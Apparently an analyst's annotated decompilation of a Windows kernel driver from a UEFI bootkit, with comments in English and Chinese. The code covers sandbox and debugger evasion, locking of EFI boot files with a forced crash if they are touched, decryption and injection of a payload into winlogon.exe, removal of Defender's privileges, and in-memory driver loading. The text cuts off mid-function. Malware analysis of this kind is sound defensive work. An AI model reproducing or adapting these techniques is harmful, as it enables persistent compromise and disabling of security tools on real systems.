  if ( (int)((__int64 (__fastcall *)(__int64 *, _QWORD, _QWORD, unsigned __int64, _QWORD, __int64 (*)(), _QWORD))PsCreateSystemThread)(
              &ThreadHandle,
              THREAD_ALL_ACCESS,
              0i64,
              0xFFFFFFFFFFFFFFFFui64,           // NtCurrentProcess 
              0i64,
              ThreadEntry,
              0i64) >= 0 )
    ((void (__fastcall *)(__int64))ZwClose)(ThreadHandle);

  return ((__int64 (__fastcall *)(PDRIVER_OBJECT, PUNICODE_STRING))diskSys_EntryPoint)(DriverObject, RegistryPath);
}

ThreadEntry

__int64 ThreadEntry()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  memset(fpaths, 0, sizeof(fpaths));
  Interval.QuadPart = -20000000i64;
  remoteThreadHandle = 0i64;
  memset(handles_1, 0, sizeof(handles_1));
  get_winlogon_process_id();
  result = anti_sandbox_check_RSMB();
  if ( !(_DWORD)result )
  {
    result = anti_sandbox_check_ACPI();
    if ( !(_DWORD)result )
    {
      result = anti_debug_rdtsc();
      if ( !(_DWORD)result )
      {
        result = anti_sandbox_mac_address();
        if ( !(_DWORD)result )
        {
          // fpath[3][0x104]={
          // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\grubx64.efi
          // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\bootmgfw.efi
          // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\winload.efi
          // }
          result = get_files_to_protect((wchar_t *)fpaths);
          if ( (_DWORD)result )
          {
            paths = (wchar_t *)fpaths;
            v2 = 3i64;
            handles = handles_1;
            do
            {
              protect_file_ProtectFromClose(paths, handles++);
              paths += 0x104;
              --v2;
            }
            while ( v2 );

            result = init_ksecddSys_api_140001804();
            if ( (_DWORD)result )
            {
              if ( !(unsigned int)is_kernel_debugger_present() )
                // RtlCreateUserThread
                remoteThreadHandle = inject_into_winlogon();

              do
              {
                result = ((__int64 (__fastcall *)(_QWORD, _QWORD, LARGE_INTEGER *))KeDelayExecutionThread)(
                           0i64,
                           0i64,
                           &Interval);          // -20000000负值表示相对时间,100 纳秒为单位,除以10 * 1000 * 1000得s,-->2s
                if ( (int)result < 0 )
                  break;

                // 检查句柄,不存在时蓝屏
                protect_file_handles_BSOD(handles_1);
                inject_into_winlogon_if_thread_not(&remoteThreadHandle);
                remove_defender_Privileges();
                result = do_ipc((__int64)fpaths, handles_1);
              }
              while ( !(_DWORD)result );
            }
          }
        }
      }
    }
  }

  if ( remoteThreadHandle )
    return ((__int64 (*)(void))ZwClose)();

  return result;
}

get_winlogon_process_id

HANDLE get_winlogon_process_id()
{
  HANDLE result; // rax
  __int64 v1; // [rsp+30h] [rbp+8h] BYREF

  v1 = -20000000i64;
  do
  {
    ((void (__fastcall *)(_QWORD, _QWORD, __int64 *))KeDelayExecutionThread)(0i64, 0i64, &v1);
    // winlogon.exe 0xA9CFE2CB
    result = get_process_id_by_hash(0xA9CFE2CB);// 0xA9CFE2CB
  }
  while ( !result );

  return result;
}

HANDLE __fastcall get_process_id_by_hash(int a1)
{
  HANDLE UniqueProcessId; // rbx
  SYSTEM_PROCESS_INFORMATION *ProcessInformations; // rsi
  unsigned int i; // eax
  int v5; // eax
  SYSTEM_PROCESS_INFORMATION *ProcessInformations1; // rdi
  __int64 NextEntryOffset; // rbp
  unsigned __int64 v8; // rax
  unsigned int infoLength; // [rsp+30h] [rbp-238h] BYREF
  __int16 v11[256]; // [rsp+40h] [rbp-228h] BYREF

  UniqueProcessId = 0i64;
  ProcessInformations = 0i64;
  infoLength = 0;
  for ( i = 0; ; i = infoLength )
  {
    if ( ProcessInformations )
    {
      ((void (__fastcall *)(SYSTEM_PROCESS_INFORMATION *))ExFreePool)(ProcessInformations);
      i = infoLength;
    }

    infoLength = i + 0x1000;
    ProcessInformations = (SYSTEM_PROCESS_INFORMATION *)((__int64 (__fastcall *)(_QWORD, _QWORD))ExAllocatePool)(
                                                          0i64,
                                                          i + 0x1000);
    if ( !ProcessInformations )
      break;

    v5 = ZwQuerySystemInformation(SystemProcessInformation, ProcessInformations, infoLength, &infoLength);
    if ( v5 != (unsigned int)STATUS_INFO_LENGTH_MISMATCH )
    {
      if ( v5 >= 0 )
      {
        ProcessInformations1 = ProcessInformations;
        while ( 1 )
        {
          NextEntryOffset = ProcessInformations1->NextEntryOffset;
          if ( ProcessInformations1->ImageName.Buffer && (ProcessInformations1->ImageName.Length & 0xFFFEu) < 0x200 )
          {
            memset(v11, 0, sizeof(v11));
            memcpy_140001038(v11, ProcessInformations1->ImageName.Buffer, ProcessInformations1->ImageName.Length);
            v8 = ProcessInformations1->ImageName.Length & 0xFFFE;
            if ( v8 >= 0x200 )
              _report_rangecheckfailure();      //  __fastfail(8u);

            *(__int16 *)((char *)v11 + v8) = 0;
            // winlogon.exe 0xA9CFE2CB
            if ( (unsigned int)ws_hash_0x1003f_14000327C(v11) == a1 )// 0xA9CFE2CB
              break;
          }

          ProcessInformations1 = (SYSTEM_PROCESS_INFORMATION *)((char *)ProcessInformations1 + NextEntryOffset);
          if ( !(_DWORD)NextEntryOffset )
            goto LABEL_14;
        }

        UniqueProcessId = ProcessInformations1->UniqueProcessId;
      }

LABEL_14:
      ((void (__fastcall *)(SYSTEM_PROCESS_INFORMATION *))ExFreePool)(ProcessInformations);
      return UniqueProcessId;
    }
  }

  return UniqueProcessId;
}

get_files_to_protect

__int64 __fastcall get_files_to_protect(wchar_t *Destination)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v2 = 0;
  // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\
  BootPath = getBootpPath_1400034A4();
  v4 = BootPath;
  if ( BootPath )
  {
    v5 = 0x104i64;
    v6 = (char *)BootPath - (char *)Destination;
    v7 = Destination;
    do
    {
      if ( v5 == 0xFFFFFFFF80000106ui64 )
        break;

      v8 = *(wchar_t *)((char *)v7 + v6);
      if ( !v8 )
        break;

      *v7++ = v8;
      --v5;
    }
    while ( v5 );

    v9 = v7 + 0xFFFFFFFF;
    if ( v5 )
      v9 = v7;

    *v9 = 0;                                    // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\
    // grubx64.efi
    v10 = (const wchar_t *)deobfuscate_wstring((__int64)byte_1400049D0, 0xCu, 1);
    wcsncpy(Destination, 0x104ui64, v10);       // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\grubx64.efi
    v11 = 0x104i64;
    v12 = Destination + 0x104;
    do
    {
      if ( v11 == 0xFFFFFFFF80000106ui64 )
        break;

      v13 = *(wchar_t *)((char *)v12 + (char *)v4 - (char *)(Destination + 0x104));
      if ( !v13 )
        break;

      *v12++ = v13;
      --v11;
    }
    while ( v11 );

    v14 = v12 + 0xFFFFFFFF;
    if ( v11 )
      v14 = v12;

    *v14 = 0;
    // bootmgfw.efi
    v15 = (const wchar_t *)deobfuscate_wstring((__int64)byte_1400049F0, 0xDu, 1);
    wcsncpy(Destination + 0x104, 0x104ui64, v15);// \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\bootmgfw.efi
    v16 = Destination + 0x208;
    v17 = 0x104i64;
    v18 = v16;
    do
    {
      if ( v17 == 0xFFFFFFFF80000106ui64 )
        break;

      v19 = *(wchar_t *)((char *)v18 + (char *)v4 - (char *)v16);
      if ( !v19 )
        break;

      *v18++ = v19;
      --v17;
    }
    while ( v17 );

    v20 = v18 + 0xFFFFFFFF;
    if ( v17 )
      v20 = v18;

    *v20 = 0;
    // winload.efi
    v21 = (const wchar_t *)deobfuscate_wstring((__int64)byte_140004A10, 0xCu, 1);
    wcsncpy(v16, 0x104ui64, v21);               // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\winload.efi
    v2 = 1;
    ((void (__fastcall *)(wchar_t *))ExFreePool)(v4);
  }

  return v2;
}

protect_file_ProtectFromClose

__int64 __fastcall protect_file_ProtectFromClose(wchar_t *path, _QWORD *handle)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  // struct _OBJECT_HANDLE_FLAG_INFORMATION
  // {
  //   BOOLEAN Inherit;
  //   BOOLEAN ProtectFromClose;
  // };
  HandleFlags = (_OBJECT_HANDLE_FLAG_INFORMATION)0x100;// ProtectFromClose->1
  hprocess = 0i64;
  FileHandle = 0i64;
  Target = 0i64;
  ObjectAttributes_1.Length = 0x30;
  v3 = 0;
  v13 = 0i64;
  memset(&ObjectAttributes_1.RootDirectory, 0, 0x28);
  clientid = 0i64;
  if ( path )
  {
    ((void (__fastcall *)(char *, wchar_t *))RtlInitUnicodeString)(v8, path);
    ObjectAttributes.Length = 0x30;
    ObjectAttributes.ObjectName = (PUNICODE_STRING)v8;
    ObjectAttributes.RootDirectory = 0i64;
    ObjectAttributes.Attributes = 0x40;
    *(_OWORD *)&ObjectAttributes.SecurityDescriptor = 0i64;
    if ( (int)((__int64 (__fastcall *)(__int64 *, _QWORD, OBJECT_ATTRIBUTES *, IO_STATUS_BLOCK *, _QWORD, MACRO_FILE_ANY, _DWORD, MACRO_FILE_ATTRIBUTE, MACRO_FILE_ATTRIBUTE, _QWORD, _DWORD))ZwCreateFile)(
                &FileHandle,
                FILE_READ_ACCESS,
                &ObjectAttributes,
                &IoStatusBlock,
                0i64,
                FILE_ATTRIBUTE_NORMAL,
                0,
                FILE_OPEN,
                FILE_NON_DIRECTORY_FILE,
                0i64,
                0) >= 0 )
    {
      clientid.UniqueProcess = PsGetCurrentProcessId();
      if ( (int)((__int64 (__fastcall *)(__int64 *, __int64, OBJECT_ATTRIBUTES *, CLIENT_ID *))ZwOpenProcess)(
                  &hprocess,
                  0x40i64,
                  &ObjectAttributes_1,
                  &clientid) >= 0
        && (int)((__int64 (__fastcall *)(__int64, unsigned __int64, unsigned __int64, HANDLE *, _DWORD, _DWORD, MACRO_DUPLICATE))ZwDuplicateObject)(
                  hprocess,
                  0xFFFFFFFFFFFFFFFFui64,
                  0xFFFFFFFFFFFFFFFFui64,
                  &Target,
                  0,
                  0,
                  DUPLICATE_SAME_ACCESS) >= 0
        && (int)((__int64 (__fastcall *)(unsigned __int64, __int64, HANDLE, __int64 *, _DWORD, _DWORD, MACRO_DUPLICATE))ZwDuplicateObject)(
                  0xFFFFFFFFFFFFFFFFui64,
                  FileHandle,
                  Target,
                  &v13,
                  0,
                  0,
                  DUPLICATE_SAME_ACCESS) >= 0
        && (int)((__int64 (__fastcall *)(__int64, _OBJECT_HANDLE_FLAG_INFORMATION *, _QWORD))ObSetHandleAttributes)(
                  v13,
                  &HandleFlags,
                  0i64) >= 0 )
      {
        v3 = 1;
        if ( handle )
          *handle = v13;
      }
    }

    if ( Target )
      ((void (*)(void))ZwClose)();

    if ( hprocess )
      ((void (*)(void))ZwClose)();

    if ( FileHandle )
      ((void (*)(void))ZwClose)();
  }

  return v3;
}

init_ksecddSys_api_140001804

__int64 init_ksecddSys_api_140001804()
{
  unsigned int v0; // ebx
  PVOID ksecdd; // rax
  __int64 ksecdd_1; // rdi

  v0 = 0;
  // ksecdd.sys 0xE3679785
  ksecdd = get_module_handle_by_hash(0xE3679785);
  ksecdd_1 = (__int64)ksecdd;
  if ( ksecdd )
  {
    BCryptOpenAlgorithmProvider = (NTSTATUS (__stdcall *)(BCRYPT_ALG_HANDLE *, LPCWSTR, LPCWSTR, ULONG))get_proc_address_by_hash((__int64)ksecdd, 0xC694168A, 0);
    BCryptSetProperty = (NTSTATUS (__stdcall *)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG))get_proc_address_by_hash(
                                                                                                ksecdd_1,
                                                                                                0x2163244B,
                                                                                                0);
    BCryptGenerateSymmetricKey = (NTSTATUS (__stdcall *)(BCRYPT_ALG_HANDLE, BCRYPT_KEY_HANDLE *, PUCHAR, ULONG, PUCHAR, ULONG, ULONG))get_proc_address_by_hash(ksecdd_1, 0x5CD9DC29, 0);
    BCryptDecrypt = (NTSTATUS (__stdcall *)(BCRYPT_KEY_HANDLE, PUCHAR, ULONG, void *, PUCHAR, ULONG, PUCHAR, ULONG, ULONG *, ULONG))get_proc_address_by_hash(ksecdd_1, 0xC604BB01, 0);
    BCryptDestroyKey = (NTSTATUS (__stdcall *)(BCRYPT_KEY_HANDLE))get_proc_address_by_hash(ksecdd_1, 0xB241FED1, 0);
    BCryptCloseAlgorithmProvider = (NTSTATUS (__stdcall *)(BCRYPT_ALG_HANDLE, ULONG))get_proc_address_by_hash(
                                                                                       ksecdd_1,
                                                                                       0x1ACC1354,
                                                                                       0);
    BCryptGetProperty = (NTSTATUS (__stdcall *)(BCRYPT_HANDLE, LPCWSTR, PUCHAR, ULONG, ULONG *, ULONG))get_proc_address_by_hash(ksecdd_1, 0x5239823F, 0);
    return 1;
  }

  return v0;
}

inject_into_winlogon

__int64 inject_into_winlogon()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  oatt.Length = 0x30;
  hprocess = 0i64;
  ThreadHandle = 0i64;
  v5[0] = 0;
  imagedata = 0i64;
  Process = 0i64;
  clientid = 0i64;
  memset(&oatt.RootDirectory, 0, 0x14);
  ClientId = 0i64;
  memset(&ApcState, 0, sizeof(ApcState));
  *(_OWORD *)&oatt.SecurityDescriptor = 0i64;
  // // winlogon.exe 0xA9CFE2CB
  winlogon_pid = get_process_id_by_hash(0xA9CFE2CB);
  winlogon_pid1 = winlogon_pid;
  if ( winlogon_pid )
  {
    clientid.UniqueProcess = winlogon_pid;
    if ( (int)((__int64 (__fastcall *)(HANDLE *, __int64, OBJECT_ATTRIBUTES *, CLIENT_ID *))ZwOpenProcess)(
                &hprocess,
                0x1FFFFFi64,
                &oatt,
                &clientid) >= 0 )
    {
      // Xlh2aR4zWn55A8e4qGViwBAVBKgaltpw
      v3 = deobfuscate_bytes((BYTE *)&a1, 0x21u, 1);
      imagedata = aes_cbc_decrypt((__int64)&byte_140006000, (__int64)v3, 0xB810u, v5);
      if ( imagedata )
      {
        if ( v5[0]
          && (int)((__int64 (__fastcall *)(HANDLE, PEPROCESS *))PsLookupProcessByProcessId)(winlogon_pid1, &Process) >= 0 )
        {
          ((void (__fastcall *)(PEPROCESS, KAPC_STATE *))KeStackAttachProcess)(Process, &ApcState);
          memLoad_140002290((__int64)hprocess, imagedata, &EntryPoint);
          ((void (__fastcall *)(KAPC_STATE *))KeUnstackDetachProcess)(&ApcState);
          if ( RtlCreateUserThread )
            RtlCreateUserThread(hprocess, 0i64, 0i64, 0i64, 0i64, 0i64, EntryPoint, 0i64, &ThreadHandle, &ClientId);
          else
            ((void (__fastcall *)(__int64 *, __int64, _QWORD, HANDLE))ZwCreateDebugObject)(
              &ThreadHandle,
              THREAD_ALL_ACCESS,
              0i64,
              hprocess);
        }
      }
    }
  }

  if ( Process )
    ObfDereferenceObject(Process);

  if ( hprocess )
    ZwClose(hprocess);

  if ( imagedata )
    ((void (__fastcall *)(__int64))ExFreePool)(imagedata);

  return ThreadHandle;
}


__int64 __fastcall memLoad_140002290(__int64 hprocess, __int64 imagedata, _QWORD *EntryPoint)
{
  _IMAGE_NT_HEADERS64 *ntheader; // rdi
  unsigned int v6; // ebx
  void *baseaddr; // [rsp+68h] [rbp+10h] BYREF
  __int64 SizeOfImage; // [rsp+78h] [rbp+20h] BYREF

  ntheader = (_IMAGE_NT_HEADERS64 *)(imagedata + *(int *)(imagedata + 0x3C));
  v6 = 0;
  SizeOfImage = ntheader->OptionalHeader.SizeOfImage;
  baseaddr = 0i64;
  if ( (int)((__int64 (__fastcall *)(__int64, void **, _QWORD, __int64 *, int, int))ZwAllocateVirtualMemory)(
              hprocess,
              &baseaddr,
              0i64,
              &SizeOfImage,
              0x3000,
              0x40) >= 0 )
  {
    memset(baseaddr, 0, ntheader->OptionalHeader.SizeOfHeaders);
    copySections_14000205C(ntheader, imagedata, (__int64)baseaddr);
    if ( (unsigned int)setReplocation_1400020DC(ntheader, (__int64)baseaddr) )
    {
      v6 = 1;
      *EntryPoint = (char *)baseaddr + ntheader->OptionalHeader.AddressOfEntryPoint;
    }
  }

  return v6;
}

protect_file_handles_BSOD

so as long as you do what's in your heart... I believe you can do the right thing

void __fastcall protect_file_handles_BSOD(HANDLE *a1)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  // so as long as you do what's in your heart... I believe you can do the right thing
  deobfuscate_wstring((__int64)byte_1400048F0, 0x52u, 1);
  v2 = 3i64;
  do
  {
    if ( *a1 )
    {
      if ( (unsigned int)((__int64 (__fastcall *)(HANDLE, _QWORD, _QWORD, _QWORD, char *))ZwQueryObject)(
                           *a1,
                           0i64,
                           0i64,
                           0i64,
                           &v3) == (unsigned int)STATUS_INVALID_HANDLE )
        ((void (__fastcall *)(__int64))KeBugCheck)(0x93i64);// INVALID_KERNEL_HANDLE
    }

    ++a1;
    --v2;
  }
  while ( v2 );
}

inject_into_winlogon_if_thread_not

void __fastcall inject_into_winlogon_if_thread_not(__int64 *remoteThreadHandle)
{
  __int64 handle; // rcx
  _THREAD_BASIC_INFORMATION v3; // [rsp+30h] [rbp-38h] BYREF

  handle = *remoteThreadHandle;
  memset(&v3, 0, sizeof(v3));
  if ( handle
    && (int)((__int64 (__fastcall *)(__int64, _QWORD, _THREAD_BASIC_INFORMATION *, __int64, _QWORD))NtQueryInformationThread)(
              handle,
              ThreadBasicInformation,
              &v3,
              0x30i64,
              0i64) >= 0
    && v3.ExitStatus != STATUS_PENDING )
  {
    ((void (__fastcall *)(__int64))ZwClose)(*remoteThreadHandle);
    *remoteThreadHandle = inject_into_winlogon();
  }
}

remove_defender_Privileges

TOKEN_PRIVILEGES *remove_defender_Privileges()
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  *(_QWORD *)&Level.Label.Attributes = 0x20i64;
  tmp = (TOKEN_PRIVILEGES *)&v10;
  hprocess = 0i64;
  TokenHandle = 0i64;
  clientid = 0i64;
  ReturnLength = 0;
  *(_DWORD *)&v10.Revision = 0x101;
  *(_QWORD *)&v10.IdentifierAuthority.Value[2] = 0x10000000i64;
  Level.Label.Sid = &v10;
  oatt.Length = 0x30;
  memset(&oatt.RootDirectory, 0, 0x14);
  *(_OWORD *)&oatt.SecurityDescriptor = 0i64;
  if ( !gMsMpEng_pid_140011820 )
  {
    // MsMpEng.exe 0x7F970559
    tmp = (TOKEN_PRIVILEGES *)get_process_id_by_hash(0x7F970559);
    gMsMpEng_pid_140011820 = (__int64)tmp;
    if ( tmp )
    {
      clientid.UniqueProcess = tmp;
      tmp = (TOKEN_PRIVILEGES *)((__int64 (__fastcall *)(__int64 *, _QWORD, OBJECT_ATTRIBUTES *, CLIENT_ID *))ZwOpenProcess)(
                                  &hprocess,
                                  PROCESS_ALL_ACCESS,
                                  &oatt,
                                  &clientid);
      if ( (int)tmp >= 0 )
      {
        tmp = (TOKEN_PRIVILEGES *)((__int64 (__fastcall *)(__int64, _QWORD, __int64 *))ZwOpenProcessToken)(
                                    hprocess,
                                    PROCESS_ALL_ACCESS,
                                    &TokenHandle);
        if ( (int)tmp >= 0 )
        {
          tmp = (TOKEN_PRIVILEGES *)((__int64 (__fastcall *)(__int64, _QWORD, _QWORD, _QWORD, unsigned int *))ZwQueryInformationToken)(
                                      TokenHandle,
                                      TokenPrivileges,
                                      0i64,
                                      0i64,
                                      &ReturnLength);
          if ( (_DWORD)tmp == (unsigned int)STATUS_BUFFER_TOO_SMALL )
          {
            ReturnLength += 0x1000;
            tmp = (TOKEN_PRIVILEGES *)((__int64 (__fastcall *)(_QWORD, _QWORD))ExAllocatePool)(0i64, ReturnLength);
            NewState = tmp;
            if ( tmp )
            {
              if ( (int)((__int64 (__fastcall *)(__int64, _QWORD, TOKEN_PRIVILEGES *, _QWORD, unsigned int *))ZwQueryInformationToken)(
                          TokenHandle,
                          TokenPrivileges,
                          tmp,
                          ReturnLength,
                          &ReturnLength) >= 0 )
              {
                for ( i = 0; i < NewState->PrivilegeCount; NewState->Privileges[v3].Attributes = SE_PRIVILEGE_REMOVED )
                  v3 = i++;

                ((void (__fastcall *)(__int64, _QWORD, TOKEN_PRIVILEGES *, _QWORD, _QWORD, _QWORD))ZwAdjustPrivilegesToken)(
                  TokenHandle,
                  0i64,
                  NewState,
                  ReturnLength,
                  0i64,
                  0i64);
                ((void (__fastcall *)(__int64, _QWORD, TOKEN_MANDATORY_LABEL *))ZwSetInformationToken)(
                  TokenHandle,
                  TokenIntegrityLevel,
                  &Level);
              }

              tmp = (TOKEN_PRIVILEGES *)((__int64 (__fastcall *)(TOKEN_PRIVILEGES *))ExFreePool)(NewState);
            }
          }
        }
      }
    }

    if ( TokenHandle )
      tmp = (TOKEN_PRIVILEGES *)((__int64 (*)(void))ZwClose)();

    if ( hprocess )
      return (TOKEN_PRIVILEGES *)((__int64 (*)(void))ZwClose)();
  }

  return tmp;
}

do_ipc

__int64 __fastcall do_ipc(wchar_t *fpaths, PHANDLE handles)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  ret = 0;
  hevent = 0i64;
  hsection = 0i64;
  BaseAddress = 0i64;
  ViewSize = 0i64;
  memset(out_hex, 0, 0x64ui64);
  // \BaseNamedObjects\xxxxxx
  if ( (unsigned int)genBase_NamedObjects_machex_140003F94(out_hex) )
  {
    v5 = out_hex[0x12];
    out_hex[0x12] = 0x5A;                       // 'Z',  \BaseNamedObjects\ 后一位替换为'Z'-->eventname
    ((void (__fastcall *)(char *, wchar_t *))RtlInitUnicodeString)(eventname, out_hex);
    v13.RootDirectory = 0i64;
    v13.ObjectName = (PUNICODE_STRING)eventname;
    v13.Length = 0x30;
    v13.Attributes = 0x200;
    *(_OWORD *)&v13.SecurityDescriptor = 0i64;
    if ( (int)((__int64 (__fastcall *)(HANDLE *, _QWORD, OBJECT_ATTRIBUTES *))ZwOpenEvent)(// \BaseNamedObjects\Zxxxxx
                &hevent,
                EVENT_ALL_ACCESS,
                &v13) >= 0 )
    {
      out_hex[0x12] = v5;                       // 恢复mac_hex,即恢复\BaseNamedObjects\ 后一位
      if ( (int)((__int64 (__fastcall *)(HANDLE *, _QWORD, OBJECT_ATTRIBUTES *))ZwOpenSection)(// \BaseNamedObjects\xxxxxx
                  &hsection,
                  SECTION_ALL_ACCESS,
                  &v13) >= 0
        && (int)((__int64 (__fastcall *)(HANDLE, unsigned __int64, char **, _QWORD, _QWORD, _QWORD, __int64 *, _SECTION_INHERIT, _DWORD, _DWORD))ZwMapViewOfSection)(
                  hsection,
                  0xFFFFFFFFFFFFFFFFui64,       // ZwCurrentProcess
                  &BaseAddress,
                  0i64,
                  0i64,
                  0i64,
                  &ViewSize,
                  ViewUnmap,
                  0,
                  PAGE_READWRITE) >= 0 )
      {
        ptr = BaseAddress;
        if ( !BaseAddress )
          goto LABEL_15;

        // 通过event和setion进行通信
        v7 = *BaseAddress;
        if ( *BaseAddress == 'I' )
        {
          InstallSys_140002190((__int64)(BaseAddress + 8));// 内存加载驱动
        }

        else if ( v7 != 'P' )
        {
          if ( v7 != 'U' )
            goto LABEL_13;

          UnlockAndDel_1400042B0(fpaths, handles);
          ret = 1;
        }

        ((void (__fastcall *)(HANDLE, _QWORD))ZwSetEvent)(hevent, 0i64);
      }
    }
  }

  ptr = BaseAddress;

LABEL_13:
  if ( ptr )
    ((void (__fastcall *)(unsigned __int64, void *))ZwUnmapViewOfSection)(0xFFFFFFFFFFFFFFFFui64, ptr);

LABEL_15:
  if ( hsection )
    ZwClose(hsection);

  if ( hevent )
    ZwClose(hevent);

  return ret;
}

__int64 __fastcall genBase_NamedObjects_machex_140003F94(wchar_t *Destination)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v14 = 0i64;
  v15 = 0;
  *(_OWORD *)Count = 0i64;
  v2 = 0;
  if ( (unsigned int)GetPhyMacAddress_140003730((__int64)mac) )
  {
    for ( i = 0i64; i < 6; ++i )
    {
      v4 = mac[i];
      if ( (unsigned __int8)v4 < 0x10u )        // mac[i]<0x10 时 +=0x10
        mac[i] = v4 + 0x10;
    }

    // mac 转hex字符串
    ((void (__fastcall *)(_QWORD, wchar_t *, __int64))itow)((unsigned __int8)mac[0], Count, 0x10i64);
    ((void (__fastcall *)(_QWORD, wchar_t *, __int64))itow)((unsigned __int8)mac[1], &Count[2], 0x10i64);
    ((void (__fastcall *)(_QWORD, wchar_t *, __int64))itow)((unsigned __int8)mac[2], &Count[4], 0x10i64);
    Count[6] = 0;                               // 只使用mac前3字节
    // \BaseNamedObjects\
    v5 = deobfuscate_wstring((__int64)&byte_1400049A0, 0x13u, 1);
    v6 = Destination;
    v7 = 0x32i64;
    v8 = v5 - (char *)Destination;
    do
    {
      if ( v7 == 0xFFFFFFFF80000034ui64 )
        break;

      v9 = *(wchar_t *)((char *)v6 + v8);
      if ( !v9 )
        break;

      *v6++ = v9;
      --v7;
    }
    while ( v7 );

    v10 = v6 + 0xFFFFFFFF;
    if ( v7 )
      v10 = v6;

    *v10 = 0;
    wcsncpy(Destination, 0x32ui64, Count);
    return 1;
  }

  return v2;
}

InstallSys_140002190

__int64 __fastcall loadSys_140002190(__int64 imagebase)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  // \Registry\Machine\SYSTEM\CurrentControlSet\Services\disk
  v2 = deobfuscate_wstring((__int64)&byte_140004840, 0x39u, 1);
  ((void (__fastcall *)(UNICODE_STRING *, char *))RtlInitUnicodeString)(&RegistryPath, v2);
  base = 0x5A4Di64;
  if ( *(_WORD *)imagebase == 0x5A4D )
  {
    ntheader = (_IMAGE_NT_HEADERS64 *)(imagebase + *(int *)(imagebase + 0x3C));
    if ( ntheader->Signature == 0x4550 )
    {
      base = 0x8664i64;
      if ( ntheader->FileHeader.Machine == 0x8664 )
      {
        base = ((__int64 (__fastcall *)(_QWORD, _QWORD))ExAllocatePool)(0i64, ntheader->OptionalHeader.SizeOfImage);
        baseaddr = base;
        if ( base )
        {
          memcpy_140001038((void *)base, (const void *)imagebase, ntheader->OptionalHeader.SizeOfHeaders);
          copySections_14000205C(ntheader, imagebase, baseaddr);
          if ( (unsigned int)setImport_140002334(ntheader, baseaddr)
            && (unsigned int)setReplocation_1400020DC(ntheader, baseaddr) )
          {
            base = ntheader->OptionalHeader.AddressOfEntryPoint;
            if ( (_DWORD)base )
              return ((__int64 (__fastcall *)(PDRIVER_OBJECT, UNICODE_STRING *))(baseaddr + base))(
                       gDriverObject_140012418,
                       &RegistryPath);
          }
          else
          {
            return ((__int64 (__fastcall *)(__int64))ExFreePool)(baseaddr);
          }
        }
      }
    }
  }

  return base;
}

UnlockAndDel_1400042B0

__int64 __fastcall UnlockAndDel_1400042B0(wchar_t *fpaths, PHANDLE handles)
{
  unsigned int v2; // ebx
  unsigned int i; // esi
  _OBJECT_HANDLE_FLAG_INFORMATION objectHandleFlagInfo; // [rsp+40h] [rbp+18h] BYREF

  v2 = 0;
  objectHandleFlagInfo = 0;
  for ( i = 0; i < 3; ++i )
  {
    if ( *handles )
    {
      // 解锁文件
      if ( (int)((__int64 (__fastcall *)(HANDLE, _OBJECT_HANDLE_FLAG_INFORMATION *, _QWORD))ObSetHandleAttributes)(
                  *handles,
                  &objectHandleFlagInfo,
                  0i64) < 0
        || (int)((__int64 (__fastcall *)(HANDLE))ZwClose)(*handles) < 0 )
      {
        return v2;
      }

      *handles = 0i64;
    }

    ++handles;
  }

  // 恢复启动器
  return (unsigned int)DelAndRename_140003384((__int16 (*)[260])fpaths);
}

__int64 __fastcall DelAndRename_140003384(wchar_t *fpaths)
{
  unsigned int v1; // ebx
  int v3; // edi
  char v5[16]; // [rsp+20h] [rbp-48h] BYREF
  OBJECT_ATTRIBUTES v6; // [rsp+30h] [rbp-38h] BYREF

  v1 = 0;
  v3 = 0;
  while ( 1 )
  {
    ((void (__fastcall *)(char *, wchar_t *))RtlInitUnicodeString)(v5, &fpaths[0x104 * v3]);
    v6.Length = 0x30;
    v6.ObjectName = (PUNICODE_STRING)v5;
    v6.RootDirectory = 0i64;
    v6.Attributes = 0x40;
    *(_OWORD *)&v6.SecurityDescriptor = 0i64;
    // 删除
    // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\grubx64.efi  (bootkit)
    // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\bootmgfw.efi (shim)
    if ( (int)((__int64 (__fastcall *)(OBJECT_ATTRIBUTES *))ZwDeleteFile)(&v6) < 0 )
      break;

    if ( (unsigned int)++v3 >= 2 )
      // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\winload.efi   (原始esp \EFI\Microsoft\Boot\bootmgfw.efi)
      // 重命名为:
      // \Device\HarddiskVolume[n]\EFI\Microsoft\Boot\bootmgfw.efi
      return (unsigned int)rename_1400040D0(fpaths + 0x208, fpaths + 0x104);
  }

  return v1;
}

__int64 __fastcall rename_1400040D0(wchar_t *a1, wchar_t *a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  v3 = 0;
  fhandle = 0i64;
  ((void (__fastcall *)(UNICODE_STRING *, wchar_t *))RtlInitUnicodeString)(&v7, a1);
  v9.RootDirectory = 0i64;
  v9.ObjectName = &v7;
  v9.Length = 0x30;
  v9.Attributes = 0x40;
  *(_OWORD *)&v9.SecurityDescriptor = 0i64;
  finfo = (FILE_RENAME_INFORMATION *)((__int64 (__fastcall *)(_QWORD, __int64))ExAllocatePool)(0i64, 0x220i64);
  if ( finfo )
  {
